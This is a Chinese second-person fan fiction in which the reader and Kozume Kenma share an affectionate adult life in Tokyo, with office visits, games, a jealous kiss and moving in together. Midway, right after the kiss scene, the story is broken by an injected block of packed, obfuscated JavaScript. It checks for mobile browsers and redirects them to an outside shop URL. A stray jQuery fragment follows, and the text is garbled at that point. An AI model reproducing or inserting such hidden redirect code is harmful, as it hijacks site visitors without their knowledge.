后来的事情,说起来很简单。
你没有去研磨的公司上班。
你去了YGG,做了你一直想做的关卡设计,公司很好,同事很好,工作内容也让你每天都充满动力。
下班后去他公司等他。
他的办公室在涩谷的高层写字楼里,落地窗外是东京的夜景,你坐在他给你准备的位置上——朝南的窗边,下午的阳光确实会照进来。
桌上有你习惯喝的热可可,还有一包没有拆封的零食。
周末在他家过,他把客房改成了你的专属房间。
你喜欢的香薰、习惯用的枕头高度、常看的几本书——全都安排好了。
但你基本都睡在他卧室。
每次你在客房看完书准备睡的时候,研磨就会出现在门口,手里拿着两个手柄。
“新游戏,”他说,“双人模式。”
然后你们就打游戏到凌晨,打着打着你就困了,手柄掉在床上,你就地一歪,就睡着了。
第二天醒来,你总是不记得自己是怎么从“坐着打游戏”变成“躺在他床上”的,但研磨的手臂总是搭在你腰上,呼吸均匀而安稳。
你们的聊天记录很长——虽然内容乏善可陈。
“到了”“吃了”“今天冷”“记得带伞”“新关卡死了二十次”“哈哈哈哈哈哈”“帮我骂策划”“策划就是我”“……哦”。
没有人规定要发什么,但消息每天都有,不需要刻意开始,也不会突然停止。
……
你推开公司大门的时候,东京的傍晚已经亮了灯。
YGG的办公楼在代代木公园附近,秋天的时候窗外能看见银杏树的树冠,金黄色一片,你在这里上班三个月了,每天走出电梯时还是会忍不住想——我真的在这里工作了。
但你今天没有时间欣赏银杏。
因为某人在等你。
研磨的公司离YGG有四十分钟车程——不堵车的情况下,一般是他来接你,偶尔你自己去。
到达他公司楼下时,天已经全黑了,大楼的保安认识你,笑着帮你刷卡开门,前台小姐姐也认识你,说“孤爪社长还在开会,您直接去办公室等吧”。
办公室不大,但布置得很舒服。
一张宽大的办公桌,一台显示器、一个键盘、一个茶杯、一个相框。
相框里是你和他的合照。
高中毕业那天,你们在学校门口拍的。
你笑着比耶,他面无表情,但仔细看会发现他的嘴角有一个很浅的弧度。
照片是研磨放的,你第一次看见的时候愣了一下,他当时在旁边说:“不好看吗?”
“好看。”你说,“只是没想到你还会洗照片。”
“不是洗的,是从电脑上截图的。”
“……那更意外了。”
办公桌旁边,有一张稍小的桌子,靠着窗户,桌上放着一盏暖色的台灯、一盆小小的仙人掌、和一盒你喜欢的薄荷糖。
你在那张椅子上坐下,喝了口热可可,撕开零食,打开手机。
十分钟后,门开了。
研磨走进来。
他穿着深灰色的西装——你很少见他穿西装,虽然他是社长。
大部分时候他来接你时穿着卫衣,头发乱糟糟的,像是刚从沙发上爬起来。
今天他开了一整天的会,西装外套扣子没系,衬衫领口松开一颗,领带扯歪了。
他在你面前站定。
你还没来得及说“辛苦了”,他已经弯下腰,把脸埋进你颈窝,手臂环住你的肩膀,整个人压在你身上。
“……累。”他的声音从你的皮肤底下传来,闷闷的,带着一点鼻音。
你伸手拍拍他的背,像安抚一只大型猫科动物。
“开会开很久?”
“嗯,从下午两点。”
“吃饭了吗?”
“……没有。”
“那快去吃饭。”
“不要,再抱一会儿。”
他的手臂收紧了,你能感觉到他呼吸的节奏从急促变得平缓,身体的重量越来越沉。
你怀疑他是不是睡着了,但他没有,他只是把脸埋在你颈窝里,偶尔蹭一下,头发蹭着你的下巴,痒痒的,有点扎。
你继续拍他的背,一下,两下,三下。
“今天的会,”研磨忽然开口,声音还是很闷,“决定了下一款游戏的方向。”
“嗯?”
“做开放世界。”
“你不是一直想做吗?”
“嗯,但之前没想好世界观。”
“现在想好了?”
他沉默了一下:“想好了,有很多想放进去的东西。”
你等着他继续说。
他把脸从你颈窝里抬起来一点,金色的眼睛近在咫尺。
“想放一只猫进去。”
“猫?”
“嗯,玩家走到某个角落,会发现一只猫。”
他说,“那只猫不会说话,不会跟着玩家走,大部分时候只是待在某个地方晒太阳,但是玩家每次路过,猫都在。”
“……然后呢?”
“没有然后。”他说,“就是一直在那里。”
你不知道为什么,觉得他在说的不是游戏。
你没有说话,只是伸手摸了摸他的头发,他眯起眼睛,像一只被挠下巴的猫。
“先去吃饭。”你说,“饿了。”
“嗯。”
他站起来的时候,顺手拿走了你桌上的零食——没吃完的那半包。
“我的。”你说。
“饿了。”
你看着他理直气壮地吃你的零食,忍不住笑了。
“笑什么。”他嘴里含着零食,声音含混不清。
“没什么。”你说,“走吧,社长大人,吃饭去。”
他握住你的手,十指相扣。
“嗯。”
……
周末的早晨,你在研磨的床上醒来。
你至今不确定自己是“搬过来”了,还是“来暂住”了。
你的东西已经占据了他半个衣柜,梳妆台上摆满了你的瓶瓶罐罐,冰箱里有一半空间是你的酸奶和蔬菜。
但你名义上还是住在自己的公寓里,虽然你已经连续两周没回去了。
身边的床铺是空的,但还有余温。
你翻了个身,继续赖床。
十分钟后,研磨端着一个托盘走进来,上面放着两杯咖啡和一盘吐司,他把托盘放在床头柜上,然后回到床上,钻进被窝。
“早。”他说。
“早。”你闭着眼睛回答。
“咖啡要凉了。”
“再睡五分钟。”
“你每次都这么说。”
“学你的。”
他在你旁边躺下,没有催你起床,你感觉到他的手指在你头发间穿过,轻轻的,慢慢的。
你往他那边蹭了蹭,他把手臂伸过来,让你枕着。
又过了“五分钟”(实际是二十分钟),你们终于起床了。
吃完早餐,研磨坐到电视机前,拿起游戏手柄。
“今天玩什么?”你问。
“新买的。”他递给你一个手柄,“合作通关。”
“合作?你居然愿意和我合作?”
他看了你一眼:“不愿意也没办法,别人太菜,你至少能听指挥。”
“……谢谢夸奖。”
游戏开始了。
研磨选的游戏不简单,你们被困在第一个Boss关,死了七次,七次都是你死的。
你的角色倒在地上,研磨的角色站在旁边,按了几圈原地踏步等你复活。
第八次,你终于把Boss打到了半血,然后你又死了。
“……”研磨放下手柄,看着屏幕上的“GAMEOVER”。
你把手柄也放下了。
“不玩了。”
“最后一次。”
“不要,你太厉害了,显得我很菜。”
“但这是我的号,你死了七次,我的胜率都掉了。”
“那你别复活我啊。”
他没有说话,只是拿起手柄,继续开了一局。
这次他调整了策略——不再一个人冲在前面,而是跟在你后面,你打怪的时候他在旁边接应,你掉血的时候他帮你挡。
你们过了。
Boss倒下的时候,屏幕上跳出通关奖励,研磨放下手柄,转头看着你。
“你看,能过。”
“……是你带得好。”
“是你活着。”他说,“你不死,就能过。”
后来你们又玩了一会儿,换了一个游戏,这次是竞技类的,你们不是队友,是对手。
研磨赢了,毫无悬念地赢了,他把你的角色按在地上摩擦,在游戏里把你打得毫无还手之力。
你把手柄扔在沙发上。
“不玩了。”
他接过去,把游戏退回了主界面。
“干嘛?”你问。
“你不玩了,我也不想玩了。”
“那你陪我干别的事?”
他想了想。
“充电。”
然后他躺下来,把头枕在你的腿上,闭上了眼睛。
“研磨,这不是充电,这是睡觉……”
“是充电。”他说,眼睛还是闭着,“效率很高。”
……
周五的晚上。
公司聚餐,你喝了酒,不多,两杯梅酒。
你不胜酒力,两杯已经让你的脸烧起来了,同事们在KTV唱歌,你坐在角落,手机放在包里,没听见研磨发来的消息。
“几点结束?”
“我去接你。”
“?”
“在?”
“……”
你看到的时候,已经是两个小时以后了。
从KTV出来,夜风吹过来,你的酒醒了一半,掏出手机,屏幕上密密麻麻全是他的消息,最后一条是:“我去找你。”
你还没来得及回复,就看见了他。
他站在门口的路灯下,穿着黑色卫衣,帽子没戴,头发被风吹得有点乱。
路灯的光从上面落下来,在他脸上投下明暗交界,他低着头在看手机,屏幕的光照亮他的脸。
你走近了几步。
他抬起头。
你停下脚步。
他的表情你看不太清楚,但他的眼睛你看得很清楚,金色的,在路灯下显得很深。
“……研磨。”
他没有说话,走过来,在你面前停下。
你看清他的脸了,没有表情,但嘴唇抿成一条线。
“上车。”
他转身走了,你跟在后面。
车里很安静。
他开车,你看窗外,你偷偷看了他好几次,他的表情没有任何变化,手指握着方向盘,指节有点发白。
路过你家他没有停车的意思。
“研磨,我家到了。”
“嗯。”
车继续开。
“研磨?”
“去我家。”
“……为什么?”
他没有回答,你看着他,他目视前方,侧脸的线条在路灯的明灭中忽隐忽现。
你不再问了。
到了他的公寓,他停好车,你们一起上楼,电梯里也安静,他看着楼层数字变化,你看着他的侧脸。
进了门,他换了鞋,走进客厅,在沙发上坐下,你也换了鞋,走到他面前。
“研磨,你生气了?”
他没有说话,只是伸出手,握住你的手腕,把你拉向他,你失去平衡,跌坐在他腿上。
然后他吻了你。
不是平时那种轻轻的、试探的吻,带着力道、带着温度。
他的嘴唇压着你的,舌尖轻轻撬开你的齿列,手指插进你的发间,固定着你的后脑,你被吻得喘不上气,手抓着他卫衣的领口,指节发白。
他松开你的时候,你们都在喘。
他的额头抵着你的,呼吸全打在你脸上,他的眼睛离你太近了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795386|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“下次,不许忘。”
你点头,嘴唇还麻着。
他的表情终于软下来,伸手拇指轻轻抚过你的嘴唇,那里有一道浅浅的齿痕,是刚才他磕到的。
“疼吗?”他问。
“……一点点。”
他的手指停在你嘴唇上,没有再动,你们就这样对视着,睫毛能碰到睫毛。
然后他凑过来,这次是很轻的吻,落在你的唇上,像羽毛拂过,一下,又一下。
“这是什么?”你小声问。
“奖励。”他说,嘴唇贴着你的,“你回来了。”
……
黑尾铁朗约你们吃饭,在一家烤肉店,他选的。
你到的时候,研磨已经坐在位子上了,你在他旁边坐下,黑尾坐在对面。
“好久不见。”黑尾笑着说,“听说你去YGG了?”
“嗯,快半年了。”
“厉害啊,YGG的关卡设计部门,那可是——”
研磨忽然开口,夹起一片肉放在烤盘上,“来,吃。”
黑尾看着烤肉,再看着研磨,表情变得微妙。
“……你什么时候学会给人夹菜了?”
研磨没回答,继续翻烤肉。
黑尾转向你:“他以前和你在一起也这样?”
你想了想:“他一直这样。”
黑尾沉默了一会儿,转向你:“你知道我等这一天等了多久吗?”
你愣了一下。
“国中的时候,”黑尾说,“有一次训练完,我和他坐在体育馆门口,我问他是不是喜欢那个青梅,他说‘嗯’。”
你的心跳了一下。
“我说那你怎么不表白,他说——”
“不用,她懂。”研磨接过话头,语气平淡。
黑尾指着研磨:“对!就是这个!我当时就无语了!人家女孩子凭什么懂啊!你不说谁懂!”
研磨放下饮料:“她确实懂。”
黑尾扶额:“懂个屁!你们这种闷骚的默契真是够了!”
……
周末的早晨,你在研磨家醒来。
你还在半梦半醒之间,感觉到腰上有什么东西压着——研磨的手臂。
他还没醒,呼吸平稳,睫毛微微颤动,嘴唇微微张开一点,睡着的时候,他的表情比平时更柔软,像一只卸下所有防备的猫。
你试图起身,他收紧手臂。
“……再睡五分钟。”
“你每次都这么说。”
他没有睁眼:“因为每次你都信。”
你躺回去,侧过身看着他,他睁开眼睛。金色的瞳孔在晨光中显得很浅,像透明的琥珀。
“在看什么?”
“看你。”
他眨了一下眼睛,然后伸出手把你拉近,额头抵着你的额头。
“你搬过来。”
“为什么?”
“因为周末来的话,周末结束你就要走。”他说,“我不喜欢。”
“研磨,我还没准备好——”
“准备什么?你的东西都在这里了,你只是缺一个心理上的‘搬’。”
“而且,”他把你拉得更近,鼻尖抵着你的鼻尖,“我发现自己比想象中还要黏人,可能没办法当一个合格的猫了。”
你笑了:“那你想当什么?”
他想了想,金色的眼睛在晨光中看起来格外认真。
“你的,什么都行。”
你伸手,轻轻摸了摸他的头发。
“好。”
“……好什么?”
“你当我的。”你说,“猫也好,什么都好,反正是我的。”
你没有搬去和他同居。
想保持一点独立的空间,你是这样说的,研磨没有反对,他只是“嗯”了一声,然后继续在你家放东西。
等到你发现的时候,你的公寓已经变成了他的第二个家。
玄关多了一双他的运动鞋,鞋柜里多了一排他的袜子,衣架上挂着他的外套。
卫生间里有两支牙刷,毛巾架上挂着两条毛巾,冰箱里塞满了他爱喝的饮料和你爱吃的零食。
你打开衣柜,发现一半的空间已经被他的衣服占领了。
他不知什么时候搬过来的,也许是每次来的时候带一点,也许是某天趁你不在的时候一次性搬的。
有一天,你在厨房做饭。
你听见玄关传来换鞋的声音,然后是熟悉的脚步声。
“在做饭?”研磨的声音从背后传来。
“嗯,咖喱,你喜欢的。”
他没有回答,你感觉到他从背后抱住了你,下巴搁在你的肩膀上,手臂环着你的腰。
你继续切菜,他就那样抱着你,看着你切菜。
“别切到手。”他说。
“不会。”
“上次你就切到了。”
“那是意外。”
“是你不专心。”
“是你在旁边闹。”
“我没闹。”
“你现在就在闹。”
他没有反驳,只是收紧了手臂。
锅里在炖咖喱,空气里弥漫着香料的香气,窗外的夕阳正在沉入地平线,天空被染成温柔的橘色。
“我的饲养员。”他说,声音闷在你的肩窝里。
你笑了:“谁是饲养员?”
“你啊。”他说,“从小到大,都是你。”
“谁养谁还不一定呢。”你说。
他没有反驳,只是把脸埋进你的颈窝,声音轻得像叹息,“没关系,互相养。”
夕阳沉入地平线,天空从橘色变成粉色,再变成紫色,窗外有鸟叫声,有远处公园里孩子们的笑声,有风吹过树叶的沙沙声。
你想起很久以前,研磨问过你一个问题。
“你知道猫为什么喜欢待在你身边吗?”
你摇头。
他说:“因为猫认定你是它的人。”
你当时以为他在说猫。
现在你明白了。
他从一开始,就没在说猫。